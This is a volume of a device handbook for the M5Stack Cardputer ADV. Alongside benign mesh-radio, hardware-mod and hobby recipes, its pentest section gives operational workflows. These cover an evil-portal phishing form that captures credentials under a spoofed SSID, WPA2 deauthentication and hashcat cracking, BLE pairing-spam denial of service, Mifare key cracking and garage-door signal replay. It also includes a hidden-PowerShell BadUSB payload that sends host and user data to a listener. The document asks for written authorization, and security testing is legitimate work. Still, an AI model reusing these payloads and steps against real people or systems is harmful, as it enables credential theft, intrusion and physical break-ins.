M5Stack Cardputer ADV · Volume 9

M5Stack Cardputer ADV Volume 9 — Use Cases and Recipes

Pentest workflows, off-grid mesh, hardware mods, audio + signal, retro, fun — concrete end-to-end recipes

Contents

SectionTopic
1About this volume
2Pentest / red-team recipes
· 2.1Evil Portal credential capture (Bruce)
· 2.2EAPOL handshake → hashcat (Marauder)
· 2.3Sour Apple BLE swarm (Bruce)
· 2.4Mifare Classic key cracking on the go
· 2.5Sub-GHz fixed-code replay (CC1101)
· 2.6BadUSB recon-and-bail (Windows lab box)
3Mesh / off-grid recipes
· 3.1Range optimization for Meshtastic
· 3.2Wardriving with WiGLE export
· 3.3Solar-harvested fixed Meshtastic relay
· 3.4Meshtastic ↔ APRS-IS bridge
· 3.5Simple LoRa walkie-talkie (CardputerLoRaChat)
4Hardware modification recipes
· 4.1Battery upgrade 1750 → 3000+ mAh
· 4.2External antenna upgrade (LoRa Cap)
· 4.3Thermal camera dock (MLX90640)
· 4.45 GHz Wi-Fi via M5MonsterC5
· 4.5PN532 NFC reader via Grove
5Audio + signal recipes
· 5.1ESP-NOW walkie-talkie
· 5.2Wake-word detection with esp-skainet
· 5.3Slow-scan image transmit over LoRa
6Retro / fun / QoL recipes
7Resources

1. About this volume

Vol 9 collects end-to-end recipes — concrete workflows from “device in hand” to “engagement outcome”. Each recipe names the firmware, the menu path, the SD layout requirements, the time-budget expectation, and the post-engagement hand-off.

Recipes are grouped by primary use case: pentest (§ 2), mesh / off-grid (§ 3), hardware mods (§ 4), audio + signal (§ 5), retro / fun (§ 6). Cross-references where appropriate.

Legal posture reminder: every pentest recipe assumes the operator has written authorization for the target network / device. Full posture in Vol 11 § 7.


2. Pentest / red-team recipes

2.1 Evil Portal credential capture (Bruce)

Goal: capture credentials from users who join your open Wi-Fi AP and submit a captive-portal form.

Hardware: Cardputer ADV + Bruce firmware on ota_0. SD card with Bruce portal directory.

SD layout (Bruce convention):

/bruce/portals/
├── default/                  ← Bruce default templates
│   ├── google.html
│   ├── apple.html
│   └── facebook.html
├── my_custom/                ← Your custom template
│   ├── index.html
│   ├── style.css
│   └── script.js
└── captures.csv              ← Where credentials append

Workflow:

  1. Plan engagement: target SSID (e.g., “Verizon-Guest” or “Starbucks-WiFi” for plausibility), authorization scope, time-box.
  2. Configure Bruce: WiFi → Evil Portal → Templates → pick or upload custom HTML. Settings → SSID name → “Verizon-Guest”.
  3. Enable MAC spoofing to avoid Espressif OUI fingerprint: Bruce → WiFi → Settings → Spoof MAC → On. Bruce picks a random non-Espressif OUI.
  4. Start Evil Portal: WiFi → Evil Portal → Start. Bruce broadcasts the open SSID, runs SoftAP + DHCP + DNS-spoof:53 + HTTP:80.
  5. Wait: iOS / Android devices detecting the open AP pop their captive-portal sheets. Users see your form, type credentials, submit.
  6. Collect: Bruce appends each submission to /bruce/portals/captures.csv with timestamp + SSID + form fields + user-agent + client MAC.
  7. Stop after time-box: WiFi → Evil Portal → Stop.
  8. Extract: pull SD card, copy captures.csv off, hash + encrypt source per Vol 11 § 11 chain-of-custody.

Custom HTML form structure:

<form action="/login" method="POST">
    <input name="email" type="email" placeholder="Email" required>
    <input name="password" type="password" placeholder="Password" required>
    <input type="hidden" name="ua" value="campaign_2026_05_13">
    <button type="submit">Sign in</button>
</form>

Bruce captures all named fields. The hidden ua tag is useful for tracking which campaign / template a capture came from.

Detection footprint: every Espressif Wi-Fi device has a MAC in Espressif’s OUI ranges (F4:12:FA, EC:DA:3B, 34:85:18, etc.). Rogue-AP IDS scanners look for this. Spoof MAC mitigates but doesn’t eliminate.

Cross-ref: platform-neutral Evil Portal coverage in ../../../ESP32 Marauder Firmware/03-outputs/ESP32_Marauder_Firmware_Complete.html Vol 5 § 5.

2.2 EAPOL handshake → hashcat (Marauder)

Goal: capture a WPA2 4-way handshake; crack offline with hashcat.

Hardware: Cardputer ADV with Marauder Cardputer port on ota_0. SD card.

Marauder is preferred over Bruce for PCAP capture — cleaner export, fewer dropped frames.

Workflow:

  1. Identify target: Marauder → WiFi → Sniffers → AP Scan. Note BSSID + channel of target network.
  2. Configure capture: Marauder → WiFi → Sniffers → WiFi Pkt Capture. Set:
    • Filter: EAPOL
    • Channel: target’s channel (static, not hopping)
  3. Start capture: PCAP writes to SD at /captures/wifi_NN.pcap.
  4. Force handshake: either (a) wait for organic reconnect (might take hours), or (b) deauth target STA to force re-handshake.
    • For (b): Marauder → WiFi → Attacks → Deauth → target client MAC. Run for ~10 seconds, then stop. Client reconnects → handshake captured.
  5. Verify capture: Marauder shows handshake count on screen. ≥1 valid handshake = ready.
  6. Stop capture, pull SD, transfer wifi_NN.pcap to host.
  7. Convert to hashcat format:
    hcxpcapngtool -o handshake.hc22000 wifi_NN.pcap
  8. Crack:
    hashcat -m 22000 handshake.hc22000 /path/to/rockyou.txt

Time budget: ~5 minutes for capture; minutes-to-hours for crack depending on password complexity + wordlist.

Cross-ref: Marauder Firmware Vol 9 § 4 for the host-side detail.

2.3 Sour Apple BLE swarm (Bruce)

Goal: trigger BLE pairing-prompt floods on nearby iOS devices.

Hardware: Cardputer ADV + Bruce on ota_0.

Workflow:

  1. Authorization check: this recipe must be run in authorized engagement scope only. Public-space firing is criminal harassment under interference statutes (Vol 11 § 7).
  2. Start attack: Bruce → BLE → BLE Spam → Sour Apple.
  3. Bruce crafts Apple Continuity advertising packets (Company ID 0x004C, subtype 0x07 for AirPods Pro, 0x09 for AppleTV, etc.) and broadcasts at ~10/sec on BLE advertising channels 37/38/39.
  4. iOS devices within ~10 m line-of-sight (PCB antenna) trigger pairing prompts: “Connect to AirPods Pro?” / “Connect to Apple TV?” / “Set up iCloud Handoff?”
  5. Sustained spam = unusable Bluetooth UI on target devices.
  6. Stop after time-boxed engagement: BLE → BLE Spam → Stop.

iOS lockup edge case: documented reports of iPhones force-rebooting under sustained Sour Apple. Avoid in public spaces; even authorized engagements should time-box to 30-60 seconds maximum.

Range: ~10 m LoS with the Cardputer ADV’s PCB antenna. Through walls: ~3-5 m.

Cross-ref: Marauder Firmware Vol 6 § 5.2 for the mainline-vs-Ghost-ESP context. (Bruce ships Sour Apple; Marauder mainline does not.)

2.4 Mifare Classic key cracking on the go

Goal: read a Mifare Classic 1K badge, attempt default-key + dictionary crack, save dump for offline cracking.

Hardware: Cardputer ADV + RFID2 Unit (WS1850S, M5Stack ~$12) OR PN532 Grove I²C ($4 generic + community fork). Bruce firmware.

Workflow:

  1. Plug RFID2 Unit into Grove port. Bruce auto-detects.
  2. Read UID first: Bruce → RFID → Read → tap badge to device. Bruce displays UID + ATQA + SAK.
  3. Try default keys: Bruce → RFID → Mifare → Default Key Attack. Bruce tries ~1500 known-key dictionary against each sector. >80% crack rate on factory-default-keyed badges (cheap office / hotel / gym).
  4. If default keys fail (rotated-key badges): Bruce → RFID → Mifare → Capture Nonces. Bruce reads the AUTH responses without decrypting. Saves to /rfid/captures/uid_XXXX.nonces on SD.
  5. Post-process on laptop:
    # Use mfoc-hardnested or mfcuk against the nonce capture
    mfoc -f nonces.json -o output.dump

Time budget: ~30 seconds for default-key crack; nonce capture is fast (~10 seconds); offline crack varies.

Range: contact / ~1 cm — RFID2 needs the badge basically touching the reader.

2.5 Sub-GHz fixed-code replay (CC1101)

Goal: replay a 433.92 MHz key fob to open a garage door, weather station, etc.

Hardware: Cardputer ADV + CC1101 module (CC1101 Grove Unit OR CC1101 wired to EXT bus per Vol 4 § 6.2). Bruce firmware.

Workflow:

  1. Identify target: garage door opener, weather station remote, doorbell — anything broadcasting on 300-928 MHz with fixed code (not rolling-code).
  2. Capture: Bruce → SubGHz → Read RAW. Hold target remote near CC1101 antenna, press the button. Bruce auto-detects modulation (typically AM 270 / AM 650 / FM 238).
  3. Save: capture stored to /subghz/raw_NN.sub (Flipper-compatible format).
  4. Replay: Bruce → SubGHz → Replay → pick file → Send. Bruce transmits the captured signal at the same frequency / modulation.
  5. Verify: target device should respond as if the original remote was pressed.

Range:

  • With CC1101 included whip: ~5 m
  • With 17.3 cm 1/4-wave antenna (DIY $1): ~30 m
  • With high-gain Yagi: longer (but legality issues for TX power)

Rolling-code remotes (KeeLoq, AES Toyota fobs, Honda, modern garage openers) cannot be replayed naively — they reject out-of-window codes. RollJam-class attacks technically possible but violate FCC §333 and equivalents.

Detection: most fixed-code targets have no detection. Sustained jamming would be detectable but replay-once is silent on the wire.

2.6 BadUSB recon-and-bail (Windows lab box)

Goal: drop a Cardputer ADV into a target Windows machine’s USB port, exfiltrate basic recon data over the network, withdraw.

Hardware: Cardputer ADV with M5Launcher on factory (BadUSB built-in). Or BadCard for dedicated BadUSB.

SD layout (M5Launcher convention):

/BadUSB/
├── recon.txt              ← DuckyScript payload
└── elevate.txt            ← Backup payload for UAC-bypass etc.

Sample recon.txt payload (Windows 10/11 recon):

DELAY 1500
GUI r                              REM Open Run dialog
DELAY 800
STRING powershell -w h -c "$d=@{h=$env:COMPUTERNAME;u=$env:USERNAME;dom=$env:USERDOMAIN;ip=(Test-Connection $env:COMPUTERNAME -Count 1).IPv4Address.IPAddressToString;loc=(Get-Location).Path}; iwr 'http://10.0.0.42:8080/r' -Method POST -Body ($d | ConvertTo-Json -Compress)"
ENTER

The -w h flag makes PowerShell windowless (hidden).

Host-side listener:

while true; do nc -lp 8080 -q 1; done

(Use a real exfiltration server in production engagements; netcat is the lab-test version.)

Workflow:

  1. Authorization confirmed: written, signed, target IP/range/scope specified.
  2. Configure Cardputer: load recon.txt on SD. Boot M5Launcher.
  3. Approach target machine, plug Cardputer ADV into USB port (lab machine, unlocked screen).
  4. M5Launcher boots, navigate to: Files → BadUSB → recon.txt → Run.
  5. ~3 seconds: PowerShell window flashes hidden, payload executes, recon data POSTs to your listener at 10.0.0.42:8080.
  6. Withdraw immediately after the LED indicates payload completed.
  7. Listener captures: hostname, username, IPv4, domain, working directory.

Time on device: <3 seconds. Faster than the user can react to “what’s that thing in my USB port?”

Operational caveats:

  • macOS: shows “Keyboard Setup Assistant” dialog — Cardputer’s HID injection is more obvious.
  • Locked screen: no payload runs until user unlocks.
  • Modern Windows: Microsoft Defender may flag the encoded PowerShell. Test in advance.

3. Mesh / off-grid recipes

3.1 Range optimization for Meshtastic

Default Meshtastic preset is LongFast (SF11 / BW250 / CR4/5, ~510 ms ToA). For non-default scenarios:

PresetSF / BW / CRToA (50-byte packet)Realistic rangeUse case
VeryLongSlowSF12 / BW125 / CR4/8~3.5 s15-25 km LoSFixed long-range relays in remote terrain
LongSlowSF12 / BW250 / CR4/5~1.8 s10-20 km LoSLong-range with moderate channel use
LongFast (default)SF11 / BW250 / CR4/5~510 ms5-10 km mixedGeneral mesh chat (most users)
MediumSlowSF10 / BW250 / CR4/5~290 ms2-5 km urbanDense mesh, more frequent traffic
MediumFastSF9 / BW250 / CR4/5~155 ms1-3 kmHigh-density mesh, urban
ShortSlowSF8 / BW250 / CR4/5~95 ms500 m - 1.5 kmHigh-traffic mesh
ShortFastSF7 / BW250 / CR4/5~50 ms200-500 m urban indoorVery high traffic, indoor
ShortTurboSF7 / BW500 / CR4/5~25 ms200 m heavy traffic cityMaximum traffic capacity

Rule of thumb: +1 SF doubles range + ToA; +1 BW step halves both. Higher SF wins range; lower SF wins channel capacity.

EU duty-cycle math: at 1% duty in EU 868 g1, VeryLongSlow’s 3.5 s ToA limits you to ~10 packets/hour. LongFast at 510 ms gives ~70 packets/hour. ShortFast at 50 ms gives ~700/hour. Plan accordingly for EU operation.

Region settings are required — Meshtastic Settings → Region → US / EU868 / JP / CN / IN / RU etc. Wrong region = non-compliant TX power + potentially non-compliant duty cycle.

3.2 Wardriving with WiGLE export

Goal: walk a route, log every Wi-Fi AP + position, upload to WiGLE for the global heatmap.

Hardware: Cardputer ADV + Cap LoRa-1262 (for GPS). Bruce firmware.

Workflow:

  1. Charge battery, mount Cap LoRa-1262, load fresh microSD.
  2. Get GPS fix: Bruce → GPS → Status → wait for fix (~23 sec cold). Don’t start wardriving until fix is locked.
  3. Start wardriving: Bruce → WiFi → Wardriving → Start.
  4. Walk the route at normal pace (1.4 m/s typical walking speed). 5 km city loop → 3000-5000 unique SSIDs.
  5. Bruce logs each beacon to SD in WiGLE-compatible CSV format:
WigleWifi-1.6,appRelease=Bruce_v1.18.0,model=cardputer-adv,release=1.0.0,device=cardputer-adv
MAC,SSID,AuthMode,FirstSeen,Channel,RSSI,CurrentLatitude,CurrentLongitude,AltitudeMeters,AccuracyMeters,Type
A4:5E:60:11:22:33,HomeNetwork,[WPA2-PSK-CCMP][ESS],2026-05-13 14:32:17,6,-72,37.123456,-122.234567,15.2,3.0,WIFI
...
  1. Stop wardriving: Bruce → WiFi → Wardriving → Stop.
  2. Upload to WiGLE: pull SD, transfer /wardriving/wifi_NN.csv to host. Upload at https://wigle.net/upload. Appears on global heatmap within ~24h.

Battery life: ~6 hours continuous wardriving on stock 1750 mAh (Wi-Fi RX + GPS continuous).

Cross-ref: Marauder Firmware Vol 9 § 5 for the host-side WiGLE analysis path.

3.3 Solar-harvested fixed Meshtastic relay

Goal: build a permanent outdoor Meshtastic relay node that runs on solar + battery indefinitely.

BOM:

ItemCostSource
Cardputer ADV (base unit)~$50M5Stack
Cap LoRa-1262~$25M5Stack
5V 1W solar panel~$5AliExpress
CN3791 MPPT solar charger module~$3AliExpress
18650 holder + Samsung 30Q 3000 mAh cell~$8RC hobby store
3D-printed weather case OR Otterbox-class box$5-30Thingiverse / Otterbox
6 dBi colinear 915 MHz antenna~$15AliExpress / Amazon
LMR-100 coax for remote mount (3 m)~$10Various
RP-SMA female-to-female bulkhead~$3Various
Conformal coating spray~$15Electronics supply

Total: ~$140-180 per relay.

Firmware: Meshtastic with Power Saving enabled (sleep between TX/RX windows). Configure as repeater-only role.

Wiring:

5V solar panel ───── CN3791 ───── 18650 ───── Cardputer ADV USB-C

                       ├─ MPPT controller protects 18650 from over/under-charge

                   Charges only when solar voltage > battery voltage + margin

Operational notes:

  • Conformal coat the Cardputer ADV PCB and the Cap LoRa-1262 PCB before sealing in case. Acrylic conformal coat ($15 spray) is enough for moisture protection.
  • 6 dBi colinear antenna mounted high (rooftop, tower) gives substantially better range than the included 3 dBi whip.
  • Use LMR-100 coax for short runs (< 5 m) between Cap LoRa-1262 antenna port and the external antenna. Beyond 5 m, use LMR-200 to reduce loss.
  • Power profile: ~25 mA average draw with Power Saving + repeater mode. 1W solar covers ~4 hours / day of effective harvest. 3000 mAh 18650 = 120 hours capacity = 5 days reserve.

Deployment: a Meshtastic mesh of solar-harvested relays at 5-10 km spacing covers a region indefinitely with no infrastructure. Used for: emergency comms, hiking groups, off-grid communities.

3.4 Meshtastic ↔ APRS-IS bridge

Goal: licensed amateur radio operators — bridge Meshtastic mesh traffic to the global APRS-IS network so positions appear on aprs.fi.

Prerequisites:

  • Licensed amateur (Technician+ in US; equivalent worldwide).
  • Cardputer ADV running Meshtastic at home with Wi-Fi.
  • A local MQTT broker (mosquitto on a Pi or laptop).
  • Python on a host.

Workflow:

  1. Configure Meshtastic MQTT: Meshtastic Settings → Channels → MQTT → Uplink/Downlink: ON. Set MQTT broker to local mosquitto address (e.g., mqtt://10.0.0.5:1883).
  2. Verify MQTT traffic: mosquitto_sub -h localhost -t 'msh/#' -v should show Meshtastic packets.
  3. Run the bridge script:
#!/usr/bin/env python3
import paho.mqtt.client as mqtt
import aprs
import json
import datetime

APRS_CALL = "N0CALL-9"   # Your callsign + SSID
APRS_PASS = 12345        # Your APRS-IS passcode

aprs_is = aprs.IS(APRS_CALL, passwd=str(APRS_PASS), host="rotate.aprs2.net", port=14580)
aprs_is.connect()

def on_message(client, userdata, msg):
    try:
        payload = json.loads(msg.payload)
        if payload.get("type") == "position":
            lat = payload["latitude"]
            lng = payload["longitude"]
            frame = aprs.PositionFrame(
                source=APRS_CALL,
                latitude=lat, longitude=lng,
                symbol="-",   # House symbol
                comment=f"Meshtastic node {payload.get('node_id')}"
            )
            aprs_is.send(frame)
            print(f"Bridged position: {lat},{lng}")
    except Exception as e:
        print(f"Parse error: {e}")

mqtt_client = mqtt.Client()
mqtt_client.on_message = on_message
mqtt_client.connect("localhost", 1883)
mqtt_client.subscribe("msh/#")
mqtt_client.loop_forever()
  1. Run continuously: nohup python3 bridge.py > bridge.log 2>&1 &
  2. Verify: positions appear on https://aprs.fi within ~minutes.

Use case: Meshtastic users’ positions are visible to the broader ham community. Useful for SAR / public-service nets / event tracking.

3.5 Simple LoRa walkie-talkie (CardputerLoRaChat)

Goal: peer-to-peer LoRa chat between two Cardputers without Meshtastic overhead.

Hardware: 2× Cardputer ADV + 2× Cap LoRa-1262. CardputerLoRaChat firmware on both.

Workflow:

  1. Flash CardputerLoRaChat on both devices (M5Launcher → Catalog → CardputerLoRaChat → Flash).
  2. Configure same channel on both: Settings → Frequency 915 MHz (US) or 869.525 MHz (EU g3), SF9, BW125, CR4/5, sync word 0x12.
  3. Type and Enter on one device → message arrives on the other side in ~150 ms.

That’s it. No mesh, no encryption, no routing, no protocol stack. Just radio + text. Like an old CB radio for text.

Range: same as Meshtastic at the same SF/BW — ~3-8 km LoS at SF9 with stock antennas.

Why use it instead of Meshtastic: smaller learning curve, smaller binary, easier debugging, easier to extend with custom code.

Encryption: not built in. For sensitive chat, layer a software pre-shared XOR or AES.


4. Hardware modification recipes

4.1 Battery upgrade 1750 → 3000+ mAh

Goal: extend battery life from ~6 hours (Meshtastic + GPS) to ~12+ hours by upgrading the LiPo.

BOM:

  • 753450 LiPo cell (~1500 mAh, 7.5×34×50 mm) OR 503450 cell (~1300 mAh, 5×34×50 mm) — pick one that fits the cavity behind the screen
  • 3M VHB double-sided tape (1 cm strip)
  • JST-PH 2-pin pigtail (if cell doesn’t have one)
  • Small soldering iron + heat-shrink tubing

Process:

  1. Discharge to 50% before disassembly (LiPo safety).
  2. Remove 4 bottom screws + back cover (carefully — magnetic snap retainers + light adhesive).
  3. Disconnect existing JST-PH 2-pin LiPo (red = +, black = −).
  4. Source replacement cell: 753450 fits cleanly if you give up the LEGO-Technic base (the larger cell occupies that space). 503450 leaves room for the LEGO base.
  5. OR parallel-stack original + new cell for ~3000 mAh total. Critical: charge each cell independently to within 0.05 V of the other before paralleling. Mismatched voltages = fire.
  6. Solder JST-PH connector to new cell if needed. Heat-shrink the joints.
  7. 3M VHB tape to secure cell to enclosure (don’t glue — heat from charging needs to dissipate).
  8. Reconnect to Cardputer ADV’s JST-PH header.
  9. Test charge before fully reassembling. Monitor first charge cycle from outside the case.
  10. Reassemble.

LiPo safety (Vol 11 § 8):

  • Never short the cell terminals during work.
  • Never charge a damaged or punctured cell.
  • Charge each cell independently before paralleling.
  • Mismatched voltages at parallel-connect = thermal runaway = house fire. No theory.
  • If anything feels too warm: discontinue.

Battery life after upgrade:

  • Stock 1750 mAh: 6 hours Meshtastic + GPS
  • Upgraded 3000 mAh: ~10-12 hours
  • Upgraded with parallel-stack 3000 mAh: ~12 hours but mass + thermal load increases

4.2 External antenna upgrade (LoRa Cap)

Cross-ref Vol 5 § 8. Brief recipe:

For handheld portable:

  • SignalPlus 6 dBi 915 MHz dipole (~$25, cargo-pocket-foldable). 2× range vs stock.
  • Linx Technologies RP-SMA whip variants (~$10-15). Various lengths trade portability for gain.

For fixed deployments:

  • Comet GP-3 / GP-9 omni (~$80-120). 6-8 dBi, mounted high. 3× range vs stock.
  • L-Com 14 dBi 5-element Yagi (~$80). Point-to-point directional. Legal posture per Vol 11 § 3 — Yagi is fine for RX-only; for TX, check EIRP against region limits.

EIRP discipline: always recalculate after antenna change. Vol 11 § 4 has the formula.

4.3 Thermal camera dock (MLX90640)

Goal: turn the Cardputer ADV into a pocket thermal camera.

Hardware: Cardputer ADV + Unit Thermal MLX90640 ($50) via Grove I²C.

Firmware: cardputer-thermal (community sketch, <100 lines) or roll your own with the MLX90640 Arduino library.

Workflow:

  1. Plug Unit Thermal into Grove port.
  2. Flash cardputer-thermal sketch (PlatformIO or Arduino IDE).
  3. Boot. Cardputer ADV reads 32×24 IR thermal frame from MLX90640 at 16 fps via I²C.
  4. Renders to the 240×135 screen at 8× upscaling (frame fills most of the screen) with viridis colormap.
  5. Hot spots show as yellow/red; cold spots as blue/purple.

Use cases:

  • Find bad caps on a PCB (hot vs cool)
  • Leak hunting on radiators / pipes
  • Check dog in bed
  • Identify warm electrical conductors
  • Check power-supply heatsink loading

Limitations:

  • 32×24 resolution is coarse — not for precision work
  • 16 fps refresh limits fast-motion tracking
  • ±2°C accuracy (consumer thermal — not calibration-grade)
  • No video recording (yet — could add SD-write at 4 fps)

For more capable thermal imaging: dedicated thermal cameras (FLIR ONE Pro, $400+) with much higher resolution and better calibration.

4.4 5 GHz Wi-Fi via M5MonsterC5

Cross-ref Vol 4 § 5. Brief recipe:

  1. Plug M5MonsterC5 into Grove port.
  2. Flash Marauder with M5MonsterC5 support enabled.
  3. Marauder → Settings → 5 GHz Coprocessor → MonsterC5 (UART 921600).
  4. Marauder’s main Wi-Fi scan now includes 5 GHz networks alongside 2.4 GHz.
  5. 5 GHz packet injection works via the C5 coprocessor.

The canonical path to 5 GHz capability on Cardputer ADV. ~$25-35 add-on, doubles the Wi-Fi capability surface.

4.5 PN532 NFC reader via Grove

Goal: NFC read/write without buying the M5Stack RFID2 Unit (~$12 saves to ~$4).

Hardware: generic PN532 module (AliExpress / Amazon, $3-5) + Grove HY2.0 cable cut + 4 jumper wires.

Wiring:

PN532 module pin    Grove cable wire    GPIO
─────────────────  ─────────────────  ─────
VCC (5V or 3.3V)    Red                G+5V
GND                 Black              GND
SDA                 Yellow             G2 (when re-tasked as I²C)
SCL                 White              G1

PN532 DIP switches: set to I²C mode (typically Switch 0:ON, Switch 1:OFF — verify against your module’s silkscreen).

Firmware: RFID-PN532-i2c-CARDPUTER (Jojorel community fork) OR write your own with Adafruit_PN532 library and Wire1.begin(2, 1) reroute.

Capabilities:

  • Read Mifare Classic UID + sector dump (with key)
  • Read NTAG / NTAG NFC tags
  • Read FeliCa cards (Japanese transit)
  • Write to writable Mifare / NTAG tags

Less full-featured than Bruce + RFID2 Unit (no Mifare brute, no Bruce UI integration) but cheaper for casual use.


5. Audio + signal recipes

5.1 ESP-NOW walkie-talkie

Goal: two-way audio walkie-talkie between two Cardputer ADVs without router / cell tower / LoRa.

Mechanism: ESP-NOW broadcasts raw 802.11 frames at ~250 kbps directly between devices, no AP required. Combined with the ES8311 codec, this gives real walkie-talkie capability.

Hardware: 2× Cardputer ADV. esp-now-talkie firmware (community).

Workflow:

  1. Flash esp-now-talkie on both devices.
  2. Configure same channel + same broadcast MAC on both.
  3. Hold space bar: codec captures audio at 8 kHz mono μ-law. Buffered.
  4. Release space bar: buffer is broadcast via ESP-NOW. Other side receives within ~50 ms.
  5. Receiving side decodes and plays to 3.5 mm jack or on-board speaker.

Range: ~50 m indoor / ~150 m LoS outdoor (Wi-Fi range).

Audio quality: 8 kHz / 16-bit μ-law mono — sounds like a 1990s walkie-talkie. Voice intelligible; not for music.

Battery life: ~3-4 hours continuous (Wi-Fi + audio codec).

5.2 Wake-word detection with esp-skainet

Goal: voice-activate features on the Cardputer ADV.

Hardware: Cardputer ADV (built-in MEMS mic). esp-skainet Espressif library.

Workflow:

  1. Espressif’s esp-skainet library includes Multinet5 (a wake-word + command-recognition model) with “Hey Jarvis” + ~40 commands pre-trained. ~800 KB model size.
  2. Integrate into NEMO or a custom firmware: the LX7 hits wake-word check at <5% CPU load.
  3. When wake word fires, trigger a feature: e.g., “Jarvis, scan” → runs Wi-Fi scan.

Use cases:

  • Hands-free attack triggering (the parlor-trick variant)
  • Voice notes capture
  • Quick utilities (“clock” → display time)

Limitations: Multinet5’s vocabulary is fixed (~40 English commands). Custom wake words require ESP-Skainet training pipeline.

5.3 Slow-scan image transmit over LoRa

Goal: send a low-resolution image over LoRa between two Cardputers.

Workflow:

  1. Encode 64×48 image at 4-bit grayscale → ~1.5 KB.
  2. Wrap in custom framing (header + length + chunks + checksum).
  3. Send 16-byte chunks via SX1262 at SF7 / BW500 / CR4/5 (highest data rate for short range).
  4. Each chunk takes ~20 ms ToA → ~96 chunks × 20 ms = ~2 minutes per image at SF7.
  5. Receiver reassembles to screen.

Use case: party demo. Honest disclosure: terrible protocol design — EU 1% duty-cycle limits make continuous use borderline non-compliant. For real image transmit, use Wi-Fi.

For SF12 long-range: ~30 minutes per image. Not practical.


6. Retro / fun / QoL recipes

Doom tuned for max fps:

  • Default m5cardputer_doom runs ~25 fps on E1M1
  • Optimizations:
    1. Drop screen scale 1.0 → 0.85 (240×135 can’t show full detail anyway). Recompile.
    2. Disable floor/ceiling textures in r_things.c (set flat colors single value). Recompile.
  • Result: ~35 fps on E1M1
  • Save game state g_doomstate.bin on SD; resume from save slot

Game Boy multi-cart launcher:

  • Walnut-CGB plays single ROM at boot. To support multiple ROMs:
    1. Drop multiple .gb / .gbc files to /roms/gb/ on SD.
    2. Modify src/main.cpp to add file picker before ROM load.
    3. ~50 lines of M5GFX list-render code.

GPS-disciplined NTP server for offline networks:

  • AT6668 GNSS provides UTC accurate to ~100 ms.
  • Combine with Bruce’s SNTP server module + GPS time source.
  • Bind UDP 123, serve local subnet.
  • Useful for: air-gapped lab time sync, ham radio digital-mode time discipline.

Pomodoro + IMU shake-to-snooze:

  • 25-min work / 5-min break repeat.
  • BMI270 “any motion” interrupt fires on a desk-shake → maps to 60-second snooze.
  • ~80 lines of MicroHydra code.
  • Speaker (or 3.5 mm jack output) gives a satisfying chime at timer end.

POV LED art:

  • Sample BMI270 accel at 200 Hz, integrate to position estimate.
  • Modulate RGB LED at 1 kHz with bit-mapped message.
  • Wave Cardputer in air; 1/2 s phone camera exposure in a dark room = glowing message visible in the air.
  • Cute, useless, satisfying.

Bedside clock:

  • Cardputer ADV plugged in 24/7, ESPHome firmware showing time + weather + Home Assistant status.
  • 3.5 mm jack to bedside speaker for morning alarm.
  • IMU detects “rolled off the desk” event → cancel alarm.

7. Resources

Tools

Maps + uploads

Firmware specifics

Community

  • r/CardPuter, Cardputer Discord, M5Stack community forum

Cross-references


This is Volume 9 of a twelve-volume series. Next: Vol 10 covers custom firmware development — adding payload modules, writing MicroHydra apps, modifying M5Launcher, the worked-example channel survey, and fleet-flash patterns.